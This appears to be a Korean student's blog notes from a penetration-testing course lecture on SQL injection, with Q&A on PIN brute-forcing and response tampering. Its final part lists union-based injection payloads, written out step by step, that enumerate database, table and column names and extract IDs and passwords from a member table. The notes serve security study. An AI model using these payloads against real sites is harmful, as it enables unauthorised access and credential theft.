Part1. Intro
- 해킹은 재능/능력 중 재능보다는 노력이다. 파이팅해보자.
- 해킹에서 노력은 고민하는 시간이 중요하다.
- 문제가 발생하면 문제의 원인을 찾아라. 문제가 저절로 해결된다.
- step by step으로 개발해라. 전체를 다 만들고 테스트하면 어디에서 디버깅을 해야할지 모름.
Part2. Q&A
Q1. response를 조작하는 것이 서버에서 fail을 내렸는데 왜 프론트에서 ok 했다고 자동으로 되는거냐.
> response를 fail에서 ok를 바꿨을 때 index.php로 리다이렉팅된다.
> index.php에서는 script가 존재한다.
> 결과는 이미 오고 있었는데 javascript로 login.php로 보내고 있었을 뿐이다.
Q2. pincode 해설
> 서버에 4글자 숫자를 넣어보는 것
> 파이썬 코드로 짜면 5분 안걸림
Q3. 시크릿 로그인에서 SQL Map으로 DB 자체를 탈취했는데 이러면 안되나?
> 실제 모의해킹에서 SQL Map을 쓰면 안된다.
> SQL Map은 자동화툴이다.
> 처음에 공부할 때는 그런걸 쓰면 안된다.
Q4. 로그인 ByPass2가 식별 인증 동시인건 알겠는데 And와 Or 같은 연산자를 막아둔건지 주석으로만 뚫게 만든건지 궁금하다
> ByPass2처럼 똑같이 움직이는 걸 만들어보면 알게 될 것이다.
Q5. 특정 단어만 필터링을 하는게 알아내는 방법은 없을까?
> 직접 해봐야한다.
쉬는시간
1. 기존 과제를 직접 만들어보고 해당 해킹 수법을 막는 방법을 만들어보자.
2. 그리고 만든 것을 직접 뚫어보고 다시 막아보고 반복하기.
3. 언젠가 뚫는게 불가능하다는 것을 깨닫자.
Part3. SQL Injection으로 데이터 추출
1. SQL Injection 사용하는 곳 : DB 데이터를 사용하는 곳
2. 그 데이터가 화면에 나오는지 안나오는지 확인
3. 오늘은 웹페이지에 데이터가 나오는 경우에서 데이터 추출하는 방법
> 비밀번호를 입력하면 내 정보가 보이는 상황
> 항상 true가 되게 하면 where구문을 무력화시켜서 모든 데이터가 true가 됨
4. 만약 게시판에서 SQL Injection을 찾았다.
> 게시판은 글들을 불러올 것이다.
> 우리가 궁금한 것은 board라는 테이블을 벗어나고 싶다.
> union 기법을 통해서 이를 해볼 수 있다.
5. Union 기법 : Select가 이미 정해진 상황에서 Select를 한번 더 쓸 수 있는 기법
6. select pass from member union select id from member 를 실행하면 id와 pass가 같이 보인다.
7. select id, pass from member union select id from member을 하면 컬럼 갯수가 달라지기 때문에 에러가 뜬다.
8. order by : 출력되는 데이터를 정렬할 때 사용, select문 가장 뒤에 적고, by 뒤에는 정렬 기준인 컬럼명 작성
9. select id from member order by id : id 기준으로 정렬하는 것. 오름차순이 기본값.
10. select id, pass from member order by 1 : 첫번째 컬럼명으로 정렬이 된다. 숫자가 컬럼 수보다 많으면 에러가 뜬다.
Part4. Union SQL Injection
절차
1. SQL Injection 포인트 찾기
2. 서버측의 조회구문의 Column 개수 찾기
3. 출력되는 column의 위치 찾기
4. DB 이름을 확인
5. Table 이름 확인
6. Column 이름 확인
7. Data 추출.
상세 내용
1. SQL Injection이 되는지 여부 확인
> 보내는 데이터가 서버에서 어떻게 되는지 찾기.
> 검색어를 넣었던 것을 가지고 조건문 예상하기.
> like로 거는건지 아닌지 확인하기.
> 참인경우와 거짓인 경우를 넣어서 조작이 되는지 확인.
2. 서버측의 조회구문의 Column 개수 찾기
> order by에서 숫자를 늘려가면서 컬럼 갯수가 몇개인지 확인
> 에러가 날때까지 하면 됨
3. 출력되는 column의 위치 찾기
> over%' union select 1,2,3,4 # 실행하기
> 출력되는 숫자로 몇번째 컬럼들이 출력되는지 확인하기
+a 이렇게 되면 다 할 수 있다.
> select pass from member를 하고 싶으면
> over$'union select 1,pass,3,4, from member #을 하면됨
> 하지만 어떤 DB이름을 모르고 Table이름을 모르고 Column 이름을 모름
4. DB 이름 확인
> select database()를 위에 방식대로 추가해서 넣으면 된다.
5. Table 이름 확인
> 실행시킬 구문 : select table_name from information_schema.tables where table_schema = "DB 이름"
> 넣어야하는 구문 : over%' union select 1, table_name,3,4 from information_schema.tables where table_schema = "DB 이름"
6. Column 이름
> 실행시킬 구문 : select column_name from information_schema.columns where table_name ='테이블 이름'
> 넣어야하는 구문 : over%' union select 1, column_name,3,4 from information_schema.columns where table_name = '테이블 이름'
7. Data 출력
> 실행시킬 구문 : select id, pass from member
> 넣어야하는 구문 : over%' union select 1, id, pass, 4, from member
'노말틱 모의해킹' 카테고리의 다른 글
[6주차 코칭] 강의는 기법이라면 코칭은 맥락을 알려주는 시간 (1) | 2025.05.21 |
---|---|
[6주차 과제] 말틱님이 알려준대로만 하면 된다. (0) | 2025.05.21 |
[5주차 과제] 현생에 치여서 조금 늦은 과제 풀이 (0) | 2025.05.13 |
[5주차 코칭] 로그인 우회 접근 방법 (1) | 2025.05.07 |
[5주차 강의] SQL Injection (2) | 2025.05.07 |